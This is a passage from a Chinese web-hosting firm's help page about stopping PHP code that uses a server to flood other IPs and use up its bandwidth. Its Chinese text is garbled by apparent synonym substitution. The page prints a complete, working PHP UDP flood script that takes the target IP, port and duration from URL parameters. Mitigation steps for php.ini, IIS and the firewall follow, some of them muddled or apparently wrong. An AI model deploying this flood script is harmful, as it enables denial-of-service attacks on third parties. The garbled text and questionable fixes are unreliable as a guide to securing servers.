巅云智能建站平台搭建版(创业流派版)火爆上线,毕生受权!新增:文章智能收罗+全站真静态打包+都会分站+智能小法式+不法词过滤+H5自顺应+智能链词等功效功效概况
赞助文档Help

避免用户操纵PHP代码DOS形成用光收集带宽

一佰互联网站建造(www.taishanly.com) 宣布日期 2020-04-30 09:22:29 阅读数: 109

用PHP代码挪用sockets,间接用办事器的收集进犯别的IP,罕见代码以下:
复制代码 代码以下:
$packets = 0;
$ip = $_GET["ip"];
$rand = $_GET["port"];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_GET["time"];
$time = time();
print "Flooded: $ip on port $rand
";
$max_time = $time+$exec_time;
for($i=0;$i<65535;$i++){
$out .= "X";
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "Packet complete at ".time("h:i:s")." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s n";
?>

表现特点:
一翻开IIS,办事器的流出带宽就用光-----便是说办事器不时向别人发包,这个环境和遭到DDOS进犯是差别的,DDOS是不时收到大批数据包.
处置体例:
制止上述的代码:
在c:windowsphp.ini里设置:
disable_functions =gzinflate;
在c:windowsphp.ini里设其值为Off
allow_url_fopen = Off
并且:
;extension=php_sockets.dll
后面的;号必然要有,意义便是限定用sockets.dll
后面的;号要保留
而后重启IIS
若是上述体例依然有用,你能够在IIS中,许可的扩大中,制止PHP的扩大测试.
别的,对没加密的php进犯代码,还能够用以下体例处置:
1.在IP战略,或防火墙中,制止一切udp向外发送
2.用一流信息监控,在SQL阻挡及网址阻挡中,阻挡port=这个关头词
一佰互联是天下着名建站品牌办事商,咱们有九年、网站建造、网页设想、php开辟和域名注册及假造主机办事经历,供给的办事更是天下着名。最近几年来还整合团队上风自立开辟了可视化多用户”“3.0平台版,拖拽排版网站建造设想,轻松完成pc站、手机微网站、小法式、APP一体化全网营销网站扶植 ,已胜利的为天下上百家收集公司供给自助建站平台搭建办事。

相干消息more

01
05月
WINDOWS下php5.2.4+mysql

第一: 装http办事器apache apache.1.jpg (43.95 KB)2007-9-26 17:36 apache.2... >>概况

16
04月
专业网站扶植-网站扶植就像买屋子一样须要投入

此刻的客户晓得收集营销很主要,可是却常常不正视本身的网站,良多客户甘愿去花几百块买个模板网站,以后投入大批的钱去做网站推行,可是最初却怎样... >>概况

27
04月
CodeIgniter钩子用法实例详解

本文实例报告了CodeIgniter钩子用法。分享给大师供大师参考,详细以下:CodeIgniter履行流程图中有7个椭圆的框,这表此刻履行... >>概况

11
05月
专业网站设想扶植若何鞭策电子商务历程

大师都晓得此刻最为风行的电子商务须要依托互联收集能力获得成长,可是仅唯一一个互联网了前提却并不能让电子商务有用运行,电子商务成长历程还与各种... >>概况

高端网站扶植

美工统筹SEO,为企业电子商务营销助力!

德律风:

023-85725751
建站

产物

域名注册 假造主机 云办事器 企业邮局
智能建站 APP打包 微站/小法式 创业平台
网站推行 媒体营销 智能收罗 AI机械人
400德律风 短信营销 店销机械人
私家定制 流派网站